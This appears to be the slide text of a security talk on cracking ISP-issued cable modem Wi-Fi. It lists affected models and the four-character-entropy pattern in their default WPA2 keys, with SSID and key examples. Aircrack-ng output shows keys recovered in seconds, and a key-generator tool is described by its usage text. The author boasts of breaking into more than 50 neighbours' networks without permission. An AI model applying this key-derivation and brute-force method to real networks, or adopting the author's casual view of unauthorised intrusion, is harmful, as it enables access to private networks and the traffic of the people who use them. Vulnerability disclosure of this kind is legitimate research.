

# So you thought I couldn't get in ?

Compromising ISP issued 802.11 wireless cable modem networks for profit.

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# Agenda

- Who am I ? (yes, a bit of narcissism)
- The research (What I found)
- Exploit code (yes, it is indeed an exploit ... look up the word “exploit”)
- End.

# Who am I ?

- GuerrillaWarfare a.k.a. gwf a.k.a. gwaffles a.k.a. G-Dubs
- Offensive Software Developer [@WarGamesLabs](#)
- An entity that posts code, then takes it down cause it sucks.
- Avid book reader.
- An angry Guerrilla! (not to be confused with Gorilla)
- Mystic nerd with a passion.

# The Research – part 1

So about a year ago, I bought some cable service from TWC (Time Warner Cable). The cable technician comes out, I watch him whip out his fancy shmancy laptop.

My mind is blown. He tells me, that “you shouldn't be worried about hackers, it would take a very very long time for someone to crack your wifi. It's impossible.”

and so here I am today, showing you that it's damn sure NOT impossible and how it can be done.

1. I take that stupid technician up on his “impossible” challenge and I begin to do research.
2. I find what I think is a correlation between the SSID and the MAC address. ... I was wrong!
3. I take a look at the WPA2 Key on the side of the Cable Modem.  
It was U10C0FE2A2292 (13 Characters long) at the time.
4. I find the correct correlation between the WPA2 Key and the Broad-casted SSID.
5. I laugh. Very hard.

# The Research – part 2

7. I confirm that the attack works well ... and it does!

So by this time last year, I was going to publish this bit of research but life happened.

So here you are now checking it out. I'm not the 1<sup>st</sup> entity to ever show that this was possible, but no one seems to give a fuck, so why not viscerally embarrass ISPs and compromise most deployed 802.11 WPA2 cable modem networks out there right ?

This year I did a lot more research pertaining to this specific subject. Since my neighborhood (within a => 7 mile radius) is riddled with ISP issued 802.11 capable cable modems.

I went out into the field and did some work. I'm not going to explain how to capture a handshake or anything of that nature, because if you are reading this presentation ... you should know how to do so.

Long story short: I was able to compromise more than 50+ ISP issued 802.11 Cable Modem networks with ease. Scary huh ? ... and you thought the NSA couldn't get your password. Ha!

# The Research – part 3

1<sup>st</sup> off let me display a list of affected cable modem by model numbers.

- TG852G
- DDW3611
- U10C022
- DG860A
- TG862G
- DWG875
- SBG6580
- DDW365
- DVW3201B

2<sup>nd</sup> You guessed right. 9 Different model numbers with basically the same password. Lulz!

# The Research – Part 4

Each one of the models I've shown you so far have a 4 character keyspace of entropy.

Meaning, there is only entropy of 4 characters.

The parenthesis represents the 4 characters of “Entropy”

For example:

ESSID: DVW3201BC8  
KEY: DVW3201B(FC04)C8

ESSID: DDW365BB  
KEY: DDW365(E061)BB

ESSID: SBG658003  
KEY: SBG6580(578A)03

ESSID: DWG87556  
KEY: DWG875(9E00)56

ESSID: TG862G42  
KEY: TG862G(BF51)42

# The Research – Part 5

The main deployed keyspace (character array/list) within these models are hexadecimal, 0-9A-F (hex-upper when using “crunch”).

The only other keyspace used is 0-9A-Z (alpha-numeric in “crunch”).

I use both keyspaces in “Crippled”.

Equipped with a machine that can perform on average 4K p/s when using aircrack-ng I found that each key could be recovered within less than 20 seconds! Using the hex-upper character set from crunch. It takes about 5 minutes on average with the alpha-numeric character set from crunch. Scared yet ? ... You should be.

The next couple of slides will be picture demos of said research.

There is an additional [video demo](#) that is already up at the [Armory](#), in the demos folder.

Aircrack-ng 1.2 rc2

[00:00:13] 45672 keys tested (4072.97 k/s)

KEY FOUND! [ DG860A862B42 ]

Master Key : D8 5B 8F E3 EB F8 F3 D6 EE E7 DA 9E A7 69 36 69  
92 08 61 6D AB 2B 38 99 89 28 E6 C0 D9 3A 25 77

Transient Key : 28 DD FE 39 34 97 56 9F 92 9B B2 EC 04 90 13 A3  
54 70 EB 52 00 EA 14 73 20 FC D1 50 2E 2B A0 1D  
C4 04 7C 62 BF 69 CB 6A 44 40 37 17 0C 14 1C C8  
AF 8D BE 40 9F CD 35 F8 21 B4 4F 51 B3 24 49 0A

EAPOL HMAC : BD A3 14 0E B6 F2 E7 43 77 8E 29 FE 8A D9 BC 41

root@74WAHWF:~/cities/no\_flex\_zone/compromised\_networks/Modems/DG860A#

Aircrack-ng 1.2 rc2

[00:00:05] 14200 keys tested (2369.26 k/s)

KEY FOUND! [ DVW3201BF77368 ]

Master Key : 5D A6 0B 6E 4E 25 79 F2 F4 CE 9F A4 A9 4C 8D 1C  
40 EE 4D 78 7E 7C 74 B8 1A 85 57 2E 1F 77 90 E1

Transient Key : 7C E9 F4 6D DA C3 1D B2 75 7E 46 89 2A 87 14 31  
FC 50 DD 0C C2 2C 30 5A 2B 88 AB D0 96 49 D5 13  
A5 4B 05 B9 E0 06 75 CB EA 5C 9C D6 1A 62 0A 85  
0A 66 1C 70 DF EB 8F 2E F9 B6 7A 11 7C 77 AC 24

EAPOL HMAC : B6 AC 69 B6 73 A3 BF 2D F0 C5 99 75 B7 8D 39 18

root@74WAHWF:~/cities/no\_flex\_zone/compromised\_networks/Modems/DVW3201B#

Aircrack-ng 1.2 rc2

[00:00:12] 43124 keys tested (4020.63 k/s)

KEY FOUND! [ SBG6580578A03 ]

Master Key : AB EF 86 3A AB 68 AB 11 7E E7 0D 55 DA E9 75 9C  
2B EB E6 68 04 D0 E6 D1 99 21 77 E7 A8 40 9F 5A

Transient Key : 64 8D 9A 0D D4 6A 51 90 FF CC A5 80 A7 D9 60 3A  
0C DE D1 7F 3C B4 11 C5 EE 9E 67 C0 50 30 2C 17  
EB 1B 53 77 01 D8 D3 76 30 0F FF FB 18 5A F7 92  
28 28 76 41 9E E0 1C C7 E1 74 66 D7 29 CC DD 2D

EAPOL HMAC : D1 C8 15 DA FF 95 1A C6 57 CB 43 CF 02 E8 73 8F

root@74WAHWF:~/cities/no\_flex\_zone/compromised\_networks/Modems/SBG6580#

Aircrack-ng 1.2 rc2

[00:00:14] 51876 keys tested (4155.19 k/s)

KEY FOUND! [ DWG875F9AC18 ]

Master Key : 86 E5 97 89 D3 0E 25 E4 76 1B 54 22 0F B1 E9 1D  
3B 59 1F E1 C7 07 5E B6 58 0A DE 27 F9 0B 6A E8

Transient Key : EB F0 5A F1 7D 03 72 FD 1C 6F 6A DA 90 9E 50 3E  
B5 AF CF 02 B7 B8 01 AE B7 03 3C 2F 46 AC F8 4B  
17 43 6F 28 BE 30 82 EB 31 C1 42 5C 85 E3 D6 50  
B7 EF 20 CF CE 0C 69 6B AF D8 C8 A3 1A 7A 26 82

EAPOL HMAC : 20 57 A9 75 8F B0 65 BE 4C 65 3E 0B 15 19 1A 9F

root@74WAHWF:~/cities/no\_flex\_zone/compromised\_networks/Modems/DWG875#

# Exploit Code: PoC || GTFO

In the past if you have visited my github repositories before, you may or may not have seen “Crippled”. The WPA2 Access Point Default key generator.

Currently I have taken it down to completely rewrite it in C (before it was in python.). Once it is back up It will not be taken down again (Python was shitty for this task.).

For now I will include the python version as a zipped archive which will be in the presentations folder.

Here is a picture of Crippled what looks like (The python version):

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Crippled | GuerrillaWarfare - https://github.com/GuerrillaWarfare
Usage    | Crippled [options] [command]

Options:
  -b      : Declare a BSSID
  -e      : Declare an ESSID

Commands:
  belkin  : Returns all possible keys (if any) from the modules/belkin.py algorithm.
  help    : Show this message again.
  modem   : Returns all possible keys from the modules/modem.py algorithms.
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# THE END

- Mitigations ? ... isn't it obvious what should be done here if you want privacy ?